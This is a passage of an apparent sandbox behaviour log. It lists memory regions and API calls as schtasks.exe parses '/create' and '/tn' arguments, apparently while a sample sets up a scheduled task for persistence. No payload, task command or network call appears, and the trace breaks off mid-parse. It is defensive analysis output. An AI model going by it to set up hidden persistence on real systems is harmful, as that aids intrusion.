"private_0x0000000000170000" filename = "" Region: id = 4712 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4713 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4714 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4715 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4716 start_va = 0x5c0000 end_va = 0x740fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 4717 start_va = 0x750000 end_va = 0x1b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 4718 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4719 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4720 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4721 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4722 start_va = 0x1b50000 end_va = 0x1e1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4723 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4724 start_va = 0x320000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4725 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4726 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4727 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4728 start_va = 0x1e20000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e20000" filename = "" Region: id = 4729 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 4730 start_va = 0x1fa0000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 4731 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4732 start_va = 0x20c0000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 4733 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4734 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4735 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4736 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4737 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 4738 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4739 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4741 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 217 os_tid = 0xa2c [0162.503] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13f880 | out: lpSystemTimeAsFileTime=0x13f880*(dwLowDateTime=0x2d11cee0, dwHighDateTime=0x1d8a92a)) [0162.503] GetCurrentProcessId () returned 0xa28 [0162.503] GetCurrentThreadId () returned 0xa2c [0162.503] GetTickCount () returned 0x138cc0b [0162.503] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13f888 | out: lpPerformanceCount=0x13f888*=2064136621740) returned 1 [0162.503] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0162.503] __set_app_type (_Type=0x1) [0162.503] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0162.504] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0162.504] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0162.505] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0162.505] _onexit (_Func=0xff482afc) returned 0xff482afc [0162.505] _onexit (_Func=0xff482b58) returned 0xff482b58 [0162.505] _onexit (_Func=0xff482b80) returned 0xff482b80 [0162.505] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0162.505] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0162.505] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0162.506] _onexit (_Func=0xff482c20) returned 0xff482c20 [0162.506] _onexit (_Func=0xff482c48) returned 0xff482c48 [0162.506] _onexit (_Func=0xff482c70) returned 0xff482c70 [0162.506] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0162.506] WinSqmIsOptedIn () returned 0x0 [0162.507] GetProcessHeap () returned 0x170000 [0162.507] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x1854a0 [0162.507] SetLastError (dwErrCode=0x0) [0162.508] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0162.508] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0162.508] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0162.508] VerifyVersionInfoW (in: lpVersionInformation=0x13f040, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f040) returned 1 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18ba20 [0162.508] lstrlenW (lpString="") returned 0 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x2) returned 0x18ba40 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x1859a0 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18ba60 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x1859d0 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a00 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a30 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a60 [0162.508] GetProcessHeap () returned 0x170000 [0162.508] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18ba80 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185a90 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ac0 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185af0 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b20 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18baa0 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b50 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185b80 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185bb0 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185be0 [0162.509] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0162.509] SetLastError (dwErrCode=0x0) [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c10 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c40 [0162.509] GetProcessHeap () returned 0x170000 [0162.509] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185c70 [0162.509] GetProcessHeap () returned 0x170000 [0162.510] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185ca0 [0162.510] GetProcessHeap () returned 0x170000 [0162.510] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185cd0 [0162.510] GetProcessHeap () returned 0x170000 [0162.510] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bac0 [0162.510] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.510] GetProcessHeap () returned 0x170000 [0162.510] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x208) returned 0x18bc60 [0162.510] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0162.510] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0162.513] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0162.513] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0162.514] GetProcessHeap () returned 0x170000 [0162.514] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x74e) returned 0x18c210 [0162.514] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0162.514] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x18c210 | out: lpData=0x18c210) returned 1 [0162.514] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0162.514] VerQueryValueW (in: pBlock=0x18c210, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13f128, puLen=0x13f190 | out: lplpBuffer=0x13f128*=0x18c5ac, puLen=0x13f190) returned 1 [0162.517] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.517] _vsnwprintf (in: _Buffer=0x18bc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13f108 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0162.517] VerQueryValueW (in: pBlock=0x18c210, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13f198, puLen=0x13f188 | out: lplpBuffer=0x13f198*=0x18c3d8, puLen=0x13f188) returned 1 [0162.518] lstrlenW (lpString="schtasks.exe") returned 12 [0162.518] lstrlenW (lpString="schtasks.exe") returned 12 [0162.518] lstrlenW (lpString=".EXE") returned 4 [0162.518] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0162.531] lstrlenW (lpString="schtasks.exe") returned 12 [0162.531] lstrlenW (lpString=".EXE") returned 4 [0162.531] _memicmp (_Buf1=0x18bac0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.531] lstrlenW (lpString="schtasks") returned 8 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x185dc0 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cb20 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cb50 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cb80 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bae0 [0162.532] _memicmp (_Buf1=0x18bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa0) returned 0x18c060 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cbb0 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cbe0 [0162.532] GetProcessHeap () returned 0x170000 [0162.532] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x20) returned 0x18cc10 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18bb00 [0162.533] _memicmp (_Buf1=0x18bb00, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x200) returned 0x18d2f0 [0162.533] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x18d2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0162.533] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x30) returned 0x187ac0 [0162.533] _vsnwprintf (in: _Buffer=0x18c060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f108 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c210) returned 1 [0162.533] GetProcessHeap () returned 0x170000 [0162.533] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x18c210) returned 0x74e [0162.536] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18c210 | out: hHeap=0x170000) returned 1 [0162.536] SetLastError (dwErrCode=0x0) [0162.536] GetThreadLocale () returned 0x409 [0162.536] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="?") returned 1 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="create") returned 6 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="delete") returned 6 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="query") returned 5 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="change") returned 6 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="run") returned 3 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="end") returned 3 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] lstrlenW (lpString="showsid") returned 7 [0162.537] GetThreadLocale () returned 0x409 [0162.537] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0162.537] SetLastError (dwErrCode=0x0) [0162.537] SetLastError (dwErrCode=0x0) [0162.537] lstrlenW (lpString="/create") returned 7 [0162.537] lstrlenW (lpString="-/") returned 2 [0162.537] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.537] lstrlenW (lpString="?") returned 1 [0162.537] lstrlenW (lpString="?") returned 1 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c210 [0162.538] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0xa) returned 0x18c230 [0162.538] lstrlenW (lpString="create") returned 6 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x18) returned 0x18c250 [0162.538] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] RtlAllocateHeap (HeapHandle=0x170000, Flags=0xc, Size=0x14) returned 0x18c270 [0162.538] _vsnwprintf (in: _Buffer=0x18c230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.538] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.538] lstrlenW (lpString="|?|") returned 3 [0162.538] lstrlenW (lpString="|create|") returned 8 [0162.538] SetLastError (dwErrCode=0x490) [0162.538] lstrlenW (lpString="create") returned 6 [0162.538] lstrlenW (lpString="create") returned 6 [0162.538] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] HeapValidate (hHeap=0x170000, dwFlags=0x0, lpMem=0x18c230) returned 1 [0162.538] GetProcessHeap () returned 0x170000 [0162.538] RtlReAllocateHeap (Heap=0x170000, Flags=0xc, Ptr=0x18c230, Size=0x14) returned 0x18c290 [0162.538] lstrlenW (lpString="create") returned 6 [0162.538] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.538] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.538] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.538] lstrlenW (lpString="|create|") returned 8 [0162.539] lstrlenW (lpString="|create|") returned 8 [0162.539] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0162.539] SetLastError (dwErrCode=0x0) [0162.539] SetLastError (dwErrCode=0x0) [0162.539] SetLastError (dwErrCode=0x0) [0162.539] lstrlenW (lpString="/tn") returned 3 [0162.539] lstrlenW (lpString="-/") returned 2 [0162.539] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0162.539] lstrlenW (lpString="?") returned 1 [0162.539] lstrlenW (lpString="?") returned 1 [0162.539] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.539] lstrlenW (lpString="tn") returned 2 [0162.539] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.539] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|?|") returned 3 [0162.539] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.539] lstrlenW (lpString="|?|") returned 3 [0162.539] lstrlenW (lpString="|tn|") returned 4 [0162.539] SetLastError (dwErrCode=0x490) [0162.539] lstrlenW (lpString="create") returned 6 [0162.539] lstrlenW (lpString="create") returned 6 [0162.539] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.539] lstrlenW (lpString="tn") returned 2 [0162.539] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.539] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|create|") returned 8 [0162.539] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.539] lstrlenW (lpString="|create|") returned 8 [0162.539] lstrlenW (lpString="|tn|") returned 4 [0162.539] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0162.539] SetLastError (dwErrCode=0x490) [0162.540] lstrlenW (lpString="delete") returned 6 [0162.540] lstrlenW (lpString="delete") returned 6 [0162.540] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.540] lstrlenW (lpString="tn") returned 2 [0162.540] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.540] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|delete|") returned 8 [0162.540] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.540] lstrlenW (lpString="|delete|") returned 8 [0162.540] lstrlenW (lpString="|tn|") returned 4 [0162.540] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0162.540] SetLastError (dwErrCode=0x490) [0162.540] lstrlenW (lpString="query") returned 5 [0162.540] lstrlenW (lpString="query") returned 5 [0162.540] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.540] lstrlenW (lpString="tn") returned 2 [0162.540] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.540] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|query|") returned 7 [0162.540] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.540] lstrlenW (lpString="|query|") returned 7 [0162.540] lstrlenW (lpString="|tn|") returned 4 [0162.540] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0162.540] SetLastError (dwErrCode=0x490) [0162.540] lstrlenW (lpString="change") returned 6 [0162.540] lstrlenW (lpString="change") returned 6 [0162.540] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.540] lstrlenW (lpString="tn") returned 2 [0162.541] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.541] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|change|") returned 8 [0162.541] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.541] lstrlenW (lpString="|change|") returned 8 [0162.541] lstrlenW (lpString="|tn|") returned 4 [0162.541] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0162.541] SetLastError (dwErrCode=0x490) [0162.541] lstrlenW (lpString="run") returned 3 [0162.541] lstrlenW (lpString="run") returned 3 [0162.541] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.541] lstrlenW (lpString="tn") returned 2 [0162.541] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.541] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|run|") returned 5 [0162.541] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.541] lstrlenW (lpString="|run|") returned 5 [0162.541] lstrlenW (lpString="|tn|") returned 4 [0162.541] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0162.541] SetLastError (dwErrCode=0x490) [0162.541] lstrlenW (lpString="end") returned 3 [0162.541] lstrlenW (lpString="end") returned 3 [0162.541] _memicmp (_Buf1=0x18c210, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.541] lstrlenW (lpString="tn") returned 2 [0162.541] _memicmp (_Buf1=0x18c250, _Buf2=0xff451b08, _Size=0x7) returned 0 [0162.541] _vsnwprintf (in: _Buffer=0x18c290, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|end|") returned 5 [0162.541] _vsnwprintf (in: _Buffer=0x18c270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f118 | out: _Buffer="|tn|") returned 4 [0162.541] lstrlenW (lpString="|end|") returned 5 [0162.542] lstrlenW (lpString="|tn|") returned 4 [0162.542] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 